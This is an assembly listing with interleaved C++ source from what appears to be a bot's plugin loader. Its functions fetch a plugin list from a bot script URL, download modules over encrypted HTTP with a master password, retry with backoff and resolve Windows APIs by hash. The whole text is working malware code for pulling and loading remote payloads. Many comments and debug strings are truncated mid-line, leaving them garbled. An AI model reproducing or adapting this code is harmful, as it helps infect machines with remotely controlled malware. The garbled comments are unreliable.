  0000c	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00011	83 c4 10	 add	 esp, 16			; 00000010H
  00014	6a 00		 push	 0
  00016	6a 02		 push	 2
  00018	6a 02		 push	 2
  0001a	6a 00		 push	 0
  0001c	6a 00		 push	 0
  0001e	68 00 00 00 40	 push	 1073741824		; 40000000H
  00023	ff 74 24 20	 push	 DWORD PTR _FileName$[esp+24]
  00027	ff d0		 call	 eax
  00029	8b d8		 mov	 ebx, eax
; 142  : 
; 143  : 		if (File == INVALID_HANDLE_VALUE)
  0002b	83 fb ff	 cmp	 ebx, -1
  0002e	75 0f		 jne	 SHORT $LN24@DownloadLi
; 144  : 		{
; 145  : 			// 
; 146  : 			// 
; 147  : 			// 
; 148  : 			return pGetLastError() == ERROR_SHARING_VIOLATION;
  00030	e8 00 00 00 00	 call	 ??$pushargEx@$00$0BCJHIBCM@$0ME@@@YAPAXXZ ; pushargEx<1,311918892,196>
  00035	83 e8 20	 sub	 eax, 32			; 00000020H
  00038	f7 d8		 neg	 eax
  0003a	1b c0		 sbb	 eax, eax
  0003c	40		 inc	 eax
  0003d	5b		 pop	 ebx
; 177  : 	}
  0003e	c3		 ret	 0
$LN24@DownloadLi:
  0003f	57		 push	 edi
$LL5@DownloadLi:
; 149  : 		}
; 150  : 
; 151  : 
; 152  : 		// 
; 153  :         PDBG("Plugins", "
; 154  : 		PCHAR Buf = NULL;
; 155  : 		do
; 156  : 		{
; 157  : 			PDBG("Plugins", "try to DownloadPluginList('%s')", URL);
; 158  : 			Buf = Plugin::DownloadPluginList(URL);
  00040	ff 74 24 10	 push	 DWORD PTR _URL$[esp+4]
  00044	e8 00 00 00 00	 call	 ?DownloadPluginList@Plugin@@YAPADPAD@Z ; Plugin::DownloadPluginList
  00049	8b f8		 mov	 edi, eax
  0004b	59		 pop	 ecx
; 159  : 			if (Buf != NULL)
  0004c	85 ff		 test	 edi, edi
  0004e	74 10		 je	 SHORT $LN2@DownloadLi
; 160  : 			{
; 161  : 				// 
; 162  : 				PDBG("Plugins", "
; 163  :                 DoWriteBufferToFile(File, Buf, Host);
  00050	ff 74 24 14	 push	 DWORD PTR _Host$[esp+4]
  00054	57		 push	 edi
  00055	53		 push	 ebx
  00056	e8 00 00 00 00	 call	 ?DoWriteBufferToFile@PLGLoader@@YAXPAXPAD1@Z ; PLGLoader::DoWriteBufferToFile
  0005b	83 c4 0c	 add	 esp, 12			; 0000000cH
; 164  : 			}
; 165  : 			else
  0005e	eb 0b		 jmp	 SHORT $LN4@DownloadLi
$LN2@DownloadLi:
; 166  : 			{
; 167  : 				PDBG("Plugins", "DownloadPluginList failed. Sleeping 30 sec...");
; 168  : 				pSleep(30 * 1000);
  00060	68 30 75 00 00	 push	 30000			; 00007530H
  00065	e8 00 00 00 00	 call	 ??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z ; pushargEx<1,1033466613,47,int>
  0006a	59		 pop	 ecx
$LN4@DownloadLi:
; 169  : 			}
; 170  : 		}
; 171  : 		while (Buf == NULL);
  0006b	85 ff		 test	 edi, edi
  0006d	74 d1		 je	 SHORT $LL5@DownloadLi
; 172  : 				
; 173  : 		// 
; 174  : 		pCloseHandle(File);
  0006f	53		 push	 ebx
  00070	e8 00 00 00 00	 call	 ??$pushargEx@$00$0HCDOLANF@$0BB@PAX@@YAPAXPAX@Z ; pushargEx<1,1916711125,17,void *>
  00075	59		 pop	 ecx
  00076	5f		 pop	 edi
; 175  : 
; 176  : 		return true;
  00077	b0 01		 mov	 al, 1
  00079	5b		 pop	 ebx
; 177  : 	}
  0007a	c3		 ret	 0
?DownloadListInFile@PLGLoader@@YA_NPAD00@Z ENDP		; PLGLoader::DownloadListInFile
_TEXT	ENDS
PUBLIC	??_C@_01KMDKNFGN@?1?$AA@			; `string'
PUBLIC	?GetURL@Plugin@@YAPADPAD0_N@Z			; Plugin::GetURL
EXTRN	?New@STR@@YAPADKPADZZ:PROC			; STR::New
EXTRN	?ClearURL@@YAXPAUTURLREC@@@Z:PROC		; ClearURL
EXTRN	?ParseURL@@YA_NPADPAUTURLREC@@_N@Z:PROC		; ParseURL
EXTRN	?IsEmpty@STR@@YA_NQAD@Z:PROC			; STR::IsEmpty
;	COMDAT ??_C@_01KMDKNFGN@?1?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
CONST	SEGMENT
??_C@_01KMDKNFGN@?1?$AA@ DB '/', 00H			; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\plugins.cpp
CONST	ENDS
;	COMDAT ?GetURL@Plugin@@YAPADPAD0_N@Z
_TEXT	SEGMENT
_URLRec$ = -48						; size = 32
_Buf$ = -16						; size = 4
_FileName$ = -12					; size = 4
_FullURL$ = -8						; size = 4
_FreeURL$ = -1						; size = 1
_Name$ = 8						; size = 4
_PluginsListURL$ = 12					; size = 4
_UpdateList$ = 16					; size = 1
?GetURL@Plugin@@YAPADPAD0_N@Z PROC			; Plugin::GetURL, COMDAT
; 272  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 30	 sub	 esp, 48			; 00000030H
; 273  : 	// 
; 274  : 	if (STR::IsEmpty(Name))
  00006	ff 75 08	 push	 DWORD PTR _Name$[ebp]
  00009	e8 00 00 00 00	 call	 ?IsEmpty@STR@@YA_NQAD@Z	; STR::IsEmpty
  0000e	59		 pop	 ecx
  0000f	84 c0		 test	 al, al
  00011	74 04		 je	 SHORT $LN19@GetURL
; 275  : 		return NULL;
  00013	33 c0		 xor	 eax, eax
; 372  : }
  00015	c9		 leave
  00016	c3		 ret	 0
$LN19@GetURL:
  00017	53		 push	 ebx
  00018	56		 push	 esi
; 276  : 
; 277  : 	PDBG("Plugins", "
 [%s]", Name);
; 278  : 
; 279  : 	// 
; 280  : 	bool FreeURL = false;
; 281  : 	if (STR::IsEmpty(PluginsListURL))
  00019	8b 75 0c	 mov	 esi, DWORD PTR _PluginsListURL$[ebp]
  0001c	33 db		 xor	 ebx, ebx
  0001e	56		 push	 esi
  0001f	88 5d ff	 mov	 BYTE PTR _FreeURL$[ebp], bl
  00022	e8 00 00 00 00	 call	 ?IsEmpty@STR@@YA_NQAD@Z	; STR::IsEmpty
  00027	59		 pop	 ecx
  00028	84 c0		 test	 al, al
  0002a	74 13		 je	 SHORT $LN52@GetURL
; 282  : 	{
; 283  : 		FreeURL = true;
; 284  : 		PluginsListURL = GetBotScriptURL(SCRIPT_PLUGINS_LIST);
  0002c	6a 01		 push	 1
  0002e	53		 push	 ebx
  0002f	6a 0a		 push	 10			; 0000000aH
  00031	c6 45 ff 01	 mov	 BYTE PTR _FreeURL$[ebp], 1
  00035	e8 00 00 00 00	 call	 ?GetBotScriptURL@@YAPADKPAD_N@Z ; GetBotScriptURL
  0003a	83 c4 0c	 add	 esp, 12			; 0000000cH
  0003d	8b f0		 mov	 esi, eax
$LN52@GetURL:
; 285  : 	}
; 286  : 	if (PluginsListURL != NULL)
  0003f	3b f3		 cmp	 esi, ebx
  00041	0f 84 0c 01 00
	00		 je	 $LN17@GetURL
  00047	57		 push	 edi
; 294  :     }
; 295  : 
; 296  : 	// 
; 297  : 	TURLREC URLRec;
; 298  : 	ClearStruct(URLRec);
  00048	6a 20		 push	 32			; 00000020H
  0004a	8d 45 d0	 lea	 eax, DWORD PTR _URLRec$[ebp]
  0004d	53		 push	 ebx
  0004e	50		 push	 eax
  0004f	e8 00 00 00 00	 call	 ?m_memset@@YAXPBXEI@Z	; m_memset
; 299  : 
; 300  : 	ParseURL(PluginsListURL, &URLRec);
  00054	53		 push	 ebx
  00055	8d 45 d0	 lea	 eax, DWORD PTR _URLRec$[ebp]
  00058	50		 push	 eax
  00059	56		 push	 esi
  0005a	e8 00 00 00 00	 call	 ?ParseURL@@YA_NPADPAUTURLREC@@_N@Z ; ParseURL
  0005f	83 c4 18	 add	 esp, 24			; 00000018H
; 301  : 
; 302  : 	// 
; 303  :     PCHAR FileName = PLGLoader::GetFileName();
  00062	e8 00 00 00 00	 call	 ?GetFileName@PLGLoader@@YAPADXZ ; PLGLoader::GetFileName
  00067	8b f8		 mov	 edi, eax
  00069	89 7d f4	 mov	 DWORD PTR _FileName$[ebp], edi
; 304  : 	PDBG("Plugins", "
 [%s]", FileName);
; 305  : 
; 306  : 	// 
; 307  : 	// 
 UpdateList == true 
; 308  : 	// 
; 309  : 	// 
; 310  : 	if (UpdateList || PLGLoader::NeedUpdateFile(FileName, URLRec.Host))
  0006c	38 5d 10	 cmp	 BYTE PTR _UpdateList$[ebp], bl
  0006f	75 0f		 jne	 SHORT $LL13@GetURL
  00071	ff 75 d4	 push	 DWORD PTR _URLRec$[ebp+4]
  00074	57		 push	 edi
  00075	e8 00 00 00 00	 call	 ?NeedUpdateFile@PLGLoader@@YA_NPAD0@Z ; PLGLoader::NeedUpdateFile
  0007a	59		 pop	 ecx
  0007b	59		 pop	 ecx
  0007c	84 c0		 test	 al, al
  0007e	74 50		 je	 SHORT $LL6@GetURL
$LL13@GetURL:
; 311  : 	{
; 312  : 		bool Completed = false;
; 313  : 		do
; 314  : 		{
; 315  : 			PDBG("Plugins", "
; 316  : 			if (PluginsListURL != NULL)
  00080	3b f3		 cmp	 esi, ebx
  00082	74 11		 je	 SHORT $LN46@GetURL
; 317  : 				Completed = PLGLoader::DownloadListInFile(FileName, PluginsListURL, URLRec.Host);
  00084	ff 75 d4	 push	 DWORD PTR _URLRec$[ebp+4]
  00087	56		 push	 esi
  00088	57		 push	 edi
  00089	e8 00 00 00 00	 call	 ?DownloadListInFile@PLGLoader@@YA_NPAD00@Z ; PLGLoader::DownloadListInFile
  0008e	83 c4 0c	 add	 esp, 12			; 0000000cH
; 318  : 
; 319  : 			if (!Completed)
  00091	3a c3		 cmp	 al, bl
  00093	75 3b		 jne	 SHORT $LL6@GetURL
$LN46@GetURL:
; 320  : 			{
; 321  : 				pSleep(3000);
  00095	68 b8 0b 00 00	 push	 3000			; 00000bb8H
  0009a	e8 00 00 00 00	 call	 ??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z ; pushargEx<1,1033466613,47,int>
  0009f	59		 pop	 ecx
; 322  : 				if (FreeURL)
  000a0	38 5d ff	 cmp	 BYTE PTR _FreeURL$[ebp], bl
  000a3	74 db		 je	 SHORT $LL13@GetURL
; 323  : 				{
; 324  : 					ClearURL(&URLRec);
  000a5	8d 45 d0	 lea	 eax, DWORD PTR _URLRec$[ebp]
  000a8	50		 push	 eax
  000a9	e8 00 00 00 00	 call	 ?ClearURL@@YAXPAUTURLREC@@@Z ; ClearURL
; 325  : 					STR::Free(PluginsListURL);
  000ae	56		 push	 esi
  000af	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
; 326  : 					PluginsListURL = GetBotScriptURL(SCRIPT_PLUGINS_LIST);
  000b4	6a 01		 push	 1
  000b6	53		 push	 ebx
  000b7	6a 0a		 push	 10			; 0000000aH
  000b9	e8 00 00 00 00	 call	 ?GetBotScriptURL@@YAPADKPAD_N@Z ; GetBotScriptURL
  000be	8b f0		 mov	 esi, eax
; 327  :                     ParseURL(PluginsListURL, &URLRec);
  000c0	53		 push	 ebx
  000c1	8d 45 d0	 lea	 eax, DWORD PTR _URLRec$[ebp]
  000c4	50		 push	 eax
  000c5	56		 push	 esi
  000c6	e8 00 00 00 00	 call	 ?ParseURL@@YA_NPADPAUTURLREC@@_N@Z ; ParseURL
  000cb	83 c4 20	 add	 esp, 32			; 00000020H
; 328  :                 }
; 329  : 			}
; 330  : 
; 331  : 		}
; 332  : 		while (!Completed);
  000ce	eb b0		 jmp	 SHORT $LL13@GetURL
$LL6@GetURL:
; 333  : 	}
; 334  : 	else 
; 335  : 	{
; 336  : 		PDBG("Plugins", "
; 337  : 	}
; 338  : 
; 339  : 	// 
; 340  : 	// 
; 341  : 	// 
; 342  : 	PCHAR Buf = NULL;
; 343  : 	do
; 344  : 	{
; 345  : 		Buf = PLGLoader::ReadListFromFile(FileName);
  000d0	57		 push	 edi
  000d1	e8 00 00 00 00	 call	 ?ReadListFromFile@PLGLoader@@YAPADPAD@Z ; PLGLoader::ReadListFromFile
  000d6	59		 pop	 ecx
  000d7	89 45 f0	 mov	 DWORD PTR _Buf$[ebp], eax
; 346  : 		if (Buf == NULL)
  000da	3b c3		 cmp	 eax, ebx
  000dc	75 0d		 jne	 SHORT $LN42@GetURL
; 347  : 			pSleep(60000);
  000de	68 60 ea 00 00	 push	 60000			; 0000ea60H
  000e3	e8 00 00 00 00	 call	 ??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z ; pushargEx<1,1033466613,47,int>
  000e8	59		 pop	 ecx
; 348  : 	}
; 349  : 	while (Buf == NULL);
  000e9	eb e5		 jmp	 SHORT $LL6@GetURL
$LN42@GetURL:
; 350  : 
; 351  : 	//
; 352  : 	PCHAR FullURL = NULL;
; 353  : 	//File::WriteBufferA( "c:\\plg.txt", Buf, STR::Length(Buf) );
; 354  : 	PCHAR URLFileName = PLGLoader::ExtractPluginURL(Name, Buf);
  000eb	50		 push	 eax
  000ec	ff 75 08	 push	 DWORD PTR _Name$[ebp]
  000ef	89 5d f8	 mov	 DWORD PTR _FullURL$[ebp], ebx
  000f2	e8 00 00 00 00	 call	 ?ExtractPluginURL@PLGLoader@@YAPADPAD0@Z ; PLGLoader::ExtractPluginURL
  000f7	8b f8		 mov	 edi, eax
  000f9	59		 pop	 ecx
  000fa	59		 pop	 ecx
; 355  : 	if (URLFileName != NULL)
  000fb	3b fb		 cmp	 edi, ebx
  000fd	74 26		 je	 SHORT $LN2@GetURL
; 356  : 	{
; 357  : 		PDBG("Plugins", "
: [%s]", URLFileName);
; 358  : 		FullURL = STR::New(5, ProtocolHTTP, HTTPProtocolDelimeter, URLRec.Host, "/", URLFileName );
  000ff	57		 push	 edi
  00100	68 00 00 00 00	 push	 OFFSET ??_C@_01KMDKNFGN@?1?$AA@
  00105	ff 75 d4	 push	 DWORD PTR _URLRec$[ebp+4]
  00108	68 00 00 00 00	 push	 OFFSET _HTTPProtocolDelimeter
  0010d	68 00 00 00 00	 push	 OFFSET ??_C@_04IAFLKNP@http?$AA@
  00112	6a 05		 push	 5
  00114	e8 00 00 00 00	 call	 ?New@STR@@YAPADKPADZZ	; STR::New
; 359  : 		STR::Free(URLFileName);
  00119	57		 push	 edi
  0011a	89 45 f8	 mov	 DWORD PTR _FullURL$[ebp], eax
  0011d	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
  00122	83 c4 1c	 add	 esp, 28			; 0000001cH
$LN2@GetURL:
; 360  : 	}
; 361  : 
; 362  : 	STR::Free(FileName);
  00125	ff 75 f4	 push	 DWORD PTR _FileName$[ebp]
  00128	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
; 363  : 	STR::Free(Buf);
  0012d	ff 75 f0	 push	 DWORD PTR _Buf$[ebp]
  00130	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
  00135	59		 pop	 ecx
  00136	59		 pop	 ecx
  00137	5f		 pop	 edi
; 364  : 	if (FreeURL) STR::Free(PluginsListURL);
  00138	38 5d ff	 cmp	 BYTE PTR _FreeURL$[ebp], bl
  0013b	74 07		 je	 SHORT $LN1@GetURL
  0013d	56		 push	 esi
  0013e	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
  00143	59		 pop	 ecx
$LN1@GetURL:
; 365  : 	ClearURL(&URLRec);
  00144	8d 45 d0	 lea	 eax, DWORD PTR _URLRec$[ebp]
  00147	50		 push	 eax
  00148	e8 00 00 00 00	 call	 ?ClearURL@@YAXPAUTURLREC@@@Z ; ClearURL
; 366  : 
; 367  : 	
; 368  : 	PDBG("Plugins", "
: [0x%X : '%s']", FullURL, 
; 369  : 		((FullURL == NULL) ? "(null)":FullURL));
; 370  : 
; 371  : 	return FullURL;
  0014d	8b 45 f8	 mov	 eax, DWORD PTR _FullURL$[ebp]
  00150	59		 pop	 ecx
  00151	eb 02		 jmp	 SHORT $LN55@GetURL
$LN17@GetURL:
; 287  : 	{
; 288  :     	PDBG("Plugins", "
: \r\n   [%s]", PluginsListURL);
; 289  : 	}
; 290  : 	else
; 291  : 	{
; 292  : 		PDBG("Plugins", "
; 293  : 		return NULL;
  00153	33 c0		 xor	 eax, eax
$LN55@GetURL:
  00155	5e		 pop	 esi
  00156	5b		 pop	 ebx
; 372  : }
  00157	c9		 leave
  00158	c3		 ret	 0
?GetURL@Plugin@@YAPADPAD0_N@Z ENDP			; Plugin::GetURL
_TEXT	ENDS
PUBLIC	??_C@_01DNKMNLPK@?$HM?$AA@			; `string'
PUBLIC	?DownloadFile@Plugin@@YAPAEPAD0PAKPAPAD@Z	; Plugin::DownloadFile
EXTRN	?Get@CryptHTTP@@YA_NPAD0PAPADPAUTHTTPResponseRec@@_N@Z:PROC ; CryptHTTP::Get
;	COMDAT ??_C@_01DNKMNLPK@?$HM?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
CONST	SEGMENT
??_C@_01DNKMNLPK@?$HM?$AA@ DB '|', 00H			; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\plugins.cpp
CONST	ENDS
;	COMDAT ?DownloadFile@Plugin@@YAPAEPAD0PAKPAPAD@Z
_TEXT	SEGMENT
_Response$91450 = -68					; size = 52
_Module$ = -16						; size = 4
_UpdateCount$ = -12					; size = 4
_Document$91451 = -8					; size = 4
_UpdateList$ = -4					; size = 1
_PluginName$ = 8					; size = 4
_PluginsListURL$ = 12					; size = 4
_FileSize$ = 16						; size = 4
_PluginMd5$ = 20					; size = 4
?DownloadFile@Plugin@@YAPAEPAD0PAKPAPAD@Z PROC		; Plugin::DownloadFile, COMDAT
; 424  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
; 425  : 
; 426  : 	//  
; 427  : 	//	
; 428  : 
; 429  : 	if (FileSize != NULL)
  00003	8b 45 10	 mov	 eax, DWORD PTR _FileSize$[ebp]
  00006	83 ec 44	 sub	 esp, 68			; 00000044H
  00009	53		 push	 ebx
  0000a	33 db		 xor	 ebx, ebx
  0000c	56		 push	 esi
  0000d	57		 push	 edi
  0000e	3b c3		 cmp	 eax, ebx
  00010	74 02		 je	 SHORT $LN20@DownloadFi
; 430  : 		*FileSize = 0;
  00012	89 18		 mov	 DWORD PTR [eax], ebx
$LN20@DownloadFi:
; 431  : 	PDBG("Plugins", "
 [%s]", PluginName);
; 432  : 
; 433  : 	// 
; 434  : 	bool UpdateList = false;
; 435  : 	DWORD UpdateCount = 0; // 
; 436  : 
; 437  : 	if (PluginMd5 != NULL) *PluginMd5 = NULL;
  00014	8b 45 14	 mov	 eax, DWORD PTR _PluginMd5$[ebp]
  00017	88 5d fc	 mov	 BYTE PTR _UpdateList$[ebp], bl
  0001a	89 5d f4	 mov	 DWORD PTR _UpdateCount$[ebp], ebx
  0001d	3b c3		 cmp	 eax, ebx
  0001f	74 02		 je	 SHORT $LN19@DownloadFi
  00021	89 18		 mov	 DWORD PTR [eax], ebx
$LN19@DownloadFi:
; 438  : 
; 439  :     LPBYTE Module = NULL;
  00023	89 5d f0	 mov	 DWORD PTR _Module$[ebp], ebx
; 453  : 			continue;
  00026	eb 02		 jmp	 SHORT $LL18@DownloadFi
$LL42@DownloadFi:
  00028	33 db		 xor	 ebx, ebx
$LL18@DownloadFi:
; 440  : 	do
; 441  : 	{
; 442  : 		// 
; 443  : 
; 444  : 		PCHAR URL = GetURL(PluginName, PluginsListURL, UpdateList);
  0002a	ff 75 fc	 push	 DWORD PTR _UpdateList$[ebp]
  0002d	ff 75 0c	 push	 DWORD PTR _PluginsListURL$[ebp]
  00030	ff 75 08	 push	 DWORD PTR _PluginName$[ebp]
  00033	e8 00 00 00 00	 call	 ?GetURL@Plugin@@YAPADPAD0_N@Z ; Plugin::GetURL
  00038	8b f8		 mov	 edi, eax
  0003a	83 c4 0c	 add	 esp, 12			; 0000000cH
; 445  : 
; 446  : 		if (URL == NULL)
  0003d	3b fb		 cmp	 edi, ebx
  0003f	75 11		 jne	 SHORT $LN15@DownloadFi
; 447  : 		{
; 448  : 			// 
; 449  : 			PDBG("Plugins", "GetURL('%s', '%s', %d) 
 NULL. 
; 450  : 				PluginName, PluginsListURL, UpdateList);
; 451  : 			pSleep(30 * 1000);
  00041	68 30 75 00 00	 push	 30000			; 00007530H
  00046	e8 00 00 00 00	 call	 ??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z ; pushargEx<1,1033466613,47,int>
  0004b	59		 pop	 ecx
; 452  : 			UpdateList = true;
  0004c	c6 45 fc 01	 mov	 BYTE PTR _UpdateList$[ebp], 1
; 453  : 			continue;
  00050	eb d8		 jmp	 SHORT $LL18@DownloadFi
$LN15@DownloadFi:
; 454  : 		}
; 455  : 
; 456  : 		// 
; 457  : 		// 
; 458  : 		if (UpdateList && UpdateCount > 1)
  00052	80 7d fc 00	 cmp	 BYTE PTR _UpdateList$[ebp], 0
  00056	74 36		 je	 SHORT $LN43@DownloadFi
  00058	8b 4d f4	 mov	 ecx, DWORD PTR _UpdateCount$[ebp]
  0005b	83 f9 01	 cmp	 ecx, 1
  0005e	76 2e		 jbe	 SHORT $LN43@DownloadFi
; 459  : 		{
; 460  : 			DWORD Interval = 60000;
  00060	b8 60 ea 00 00	 mov	 eax, 60000		; 0000ea60H
; 461  : 
; 462  : 			if (UpdateCount > 10)
  00065	83 f9 0a	 cmp	 ecx, 10			; 0000000aH
  00068	76 1d		 jbe	 SHORT $LN10@DownloadFi
; 463  : 			{
; 464  : 				if (UpdateCount <= 20)
  0006a	83 f9 14	 cmp	 ecx, 20			; 00000014H
  0006d	77 07		 ja	 SHORT $LN12@DownloadFi
; 465  : 					Interval = Interval * 2;
  0006f	b8 c0 d4 01 00	 mov	 eax, 120000		; 0001d4c0H
; 466  : 				else
  00074	eb 11		 jmp	 SHORT $LN10@DownloadFi
$LN12@DownloadFi:
; 467  : 				if (UpdateCount <= 100)
  00076	6a 64		 push	 100			; 00000064H
  00078	58		 pop	 eax
  00079	3b c1		 cmp	 eax, ecx
  0007b	1b c0		 sbb	 eax, eax
  0007d	25 c0 d4 01 00	 and	 eax, 120000		; 0001d4c0H
  00082	05 20 bf 02 00	 add	 eax, 180000		; 0002bf20H
$LN10@DownloadFi:
; 468  : 					Interval = Interval * 3;
; 469  : 				else
; 470  : 					Interval = Interval * 5;
; 471  : 			}
; 472  : 
; 473  : 			PDBG("Plugins", "DownloadFile: Sleep because UpdateCount>0 (interval='%u' updatecount='%u').",
; 474  : 				Interval, UpdateCount);
; 475  : 
; 476  : 			pSleep(Interval);
  00087	50		 push	 eax
  00088	e8 00 00 00 00	 call	 ??$pushargEx@$00$0DNJJHCPF@$0CP@K@@YAPAXK@Z ; pushargEx<1,1033466613,47,unsigned long>
  0008d	59		 pop	 ecx
$LN43@DownloadFi:
; 477  : 		}
; 478  : 
; 479  : 		// 
; 480  : 		int md5pos = STR::Pos(URL, "|", 0);
  0008e	6a 01		 push	 1
  00090	53		 push	 ebx
  00091	68 00 00 00 00	 push	 OFFSET ??_C@_01DNKMNLPK@?$HM?$AA@
  00096	57		 push	 edi
  00097	e8 00 00 00 00	 call	 ?Pos@STR@@YAHPBD0K_N@Z	; STR::Pos
  0009c	83 c4 10	 add	 esp, 16			; 00000010H
; 481  : 		if (md5pos > 0)
  0009f	3b c3		 cmp	 eax, ebx
  000a1	7e 1b		 jle	 SHORT $LN7@DownloadFi
; 482  : 		{
; 483  : 			PCHAR Md5Sum = STR::New(URL + md5pos + 1);
  000a3	8d 34 38	 lea	 esi, DWORD PTR [eax+edi]
  000a6	8d 46 01	 lea	 eax, DWORD PTR [esi+1]
  000a9	53		 push	 ebx
  000aa	50		 push	 eax
  000ab	e8 00 00 00 00	 call	 ?New@STR@@YAPADPADK@Z	; STR::New
  000b0	59		 pop	 ecx
  000b1	59		 pop	 ecx
; 484  : 			URL[md5pos] = '\0';
; 485  : 
; 486  : 			PDBG("Plugins", "DownloadFile: MD5 detected in URL (url='%s' md5='%s').",
; 487  : 				URL, Md5Sum);
; 488  : 			
; 489  : 			if (PluginMd5 != NULL) *PluginMd5 = Md5Sum;
  000b2	8b 4d 14	 mov	 ecx, DWORD PTR _PluginMd5$[ebp]
  000b5	c6 06 00	 mov	 BYTE PTR [esi], 0
  000b8	3b cb		 cmp	 ecx, ebx
  000ba	74 02		 je	 SHORT $LN7@DownloadFi
  000bc	89 01		 mov	 DWORD PTR [ecx], eax
$LN7@DownloadFi:
; 490  : 		}
; 491  : 
; 492  : 
; 493  : 		// 
; 494  : 
; 495  : 		THTTPResponseRec Response;
; 496  : 		ClearStruct(Response);
  000be	6a 34		 push	 52			; 00000034H
  000c0	8d 45 bc	 lea	 eax, DWORD PTR _Response$91450[ebp]
  000c3	53		 push	 ebx
  000c4	50		 push	 eax
  000c5	e8 00 00 00 00	 call	 ?m_memset@@YAXPBXEI@Z	; m_memset
; 497  : 
; 498  : 		PCHAR Document = NULL;
  000ca	89 5d f8	 mov	 DWORD PTR _Document$91451[ebp], ebx
; 499  : 		#ifdef CryptHTTPH
; 500  : 			PCHAR Pass = GetMainPassword();
  000cd	e8 00 00 00 00	 call	 ?GetMainPassword@@YAPADXZ ; GetMainPassword
  000d2	8b f0		 mov	 esi, eax
; 501  : 
; 502  : 			bool Loaded = CryptHTTP::Get(URL, Pass, &Document, &Response);
  000d4	53		 push	 ebx
  000d5	8d 45 bc	 lea	 eax, DWORD PTR _Response$91450[ebp]
  000d8	50		 push	 eax
  000d9	8d 45 f8	 lea	 eax, DWORD PTR _Document$91451[ebp]
  000dc	50		 push	 eax
  000dd	56		 push	 esi
  000de	57		 push	 edi
  000df	e8 00 00 00 00	 call	 ?Get@CryptHTTP@@YA_NPAD0PAPADPAUTHTTPResponseRec@@_N@Z ; CryptHTTP::Get
; 503  : 			STR::Free(Pass);
  000e4	56		 push	 esi
  000e5	8a d8		 mov	 bl, al
  000e7	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
; 504  : 		#else
; 505  : 			bool Loaded = HTTP::Get(URL, &Document, &Response);
; 506  : 		#endif
; 507  : 
; 508  : 		STR::Free(URL);
  000ec	57		 push	 edi
  000ed	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
  000f2	83 c4 28	 add	 esp, 40			; 00000028H
; 509  : 
; 510  : 		PDBG("Plugins", "DownloadFile: file load result=%d", Loaded);
; 511  : 
; 512  : 		// 
; 513  : 		UpdateList = false;
  000f5	c6 45 fc 00	 mov	 BYTE PTR _UpdateList$[ebp], 0
; 514  : 
; 515  : 		if (Loaded)
  000f9	84 db		 test	 bl, bl
  000fb	74 43		 je	 SHORT $LN6@DownloadFi
; 516  : 		{
; 517  : 			PDBG("Plugins", "DownloadFile: Http file loaded with HttpResponseCode='%u'", Response.Code);
; 518  : 			if (Response.Code == HTTP_CODE_OK)
  000fd	81 7d c0 c8 00
	00 00		 cmp	 DWORD PTR _Response$91450[ebp+4], 200 ; 000000c8H
  00104	75 31		 jne	 SHORT $LN5@DownloadFi
; 519  : 			{
; 520  : 				PDBG("Plugins", "
 [%s] 
", PluginName);
; 521  : 				// 
; 522  : 				DWORD Size = STR::Length(Document);
  00106	ff 75 f8	 push	 DWORD PTR _Document$91451[ebp]
  00109	e8 00 00 00 00	 call	 ?Length@STR@@YAKPAD@Z	; STR::Length
  0010e	8b f0		 mov	 esi, eax
; 523  : 				Module = (LPBYTE)MemAlloc(Size);
  00110	56		 push	 esi
  00111	e8 00 00 00 00	 call	 ?MemAlloc@@YAPAXK@Z	; MemAlloc
  00116	59		 pop	 ecx
  00117	59		 pop	 ecx
  00118	89 45 f0	 mov	 DWORD PTR _Module$[ebp], eax
; 524  : 				if (Module == NULL) break;
  0011b	85 c0		 test	 eax, eax
  0011d	74 40		 je	 SHORT $LN16@DownloadFi
; 525  : 
; 526  : 				// 
; 527  :                 m_memcpy(Module, Document, Size);
  0011f	56		 push	 esi
  00120	ff 75 f8	 push	 DWORD PTR _Document$91451[ebp]
  00123	50		 push	 eax
  00124	e8 00 00 00 00	 call	 ?m_memcpy@@YAPAXPAXPBXH@Z ; m_memcpy
; 528  : 				if (FileSize != NULL)
  00129	8b 45 10	 mov	 eax, DWORD PTR _FileSize$[ebp]
  0012c	83 c4 0c	 add	 esp, 12			; 0000000cH
  0012f	85 c0		 test	 eax, eax
  00131	74 18		 je	 SHORT $LN1@DownloadFi
; 529  : 					*FileSize = Size;
  00133	89 30		 mov	 DWORD PTR [eax], esi
; 530  : 			}
; 531  : 			else
  00135	eb 14		 jmp	 SHORT $LN1@DownloadFi
$LN5@DownloadFi:
; 532  : 			{
; 533  : 				UpdateList = true;
; 534  : 				UpdateCount++;
  00137	ff 45 f4	 inc	 DWORD PTR _UpdateCount$[ebp]
  0013a	c6 45 fc 01	 mov	 BYTE PTR _UpdateList$[ebp], 1
; 535  : 			}
; 536  : 		}
; 537  : 		else
  0013e	eb 0b		 jmp	 SHORT $LN1@DownloadFi
$LN6@DownloadFi:
; 538  : 		{
; 539  : 			// 
; 540  : 			PDBG("Plugins", "DownloadFile: Loaded=false. Sleep 60 sec.");
; 541  : 			pSleep(60000);
  00140	68 60 ea 00 00	 push	 60000			; 0000ea60H
  00145	e8 00 00 00 00	 call	 ??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z ; pushargEx<1,1033466613,47,int>
  0014a	59		 pop	 ecx
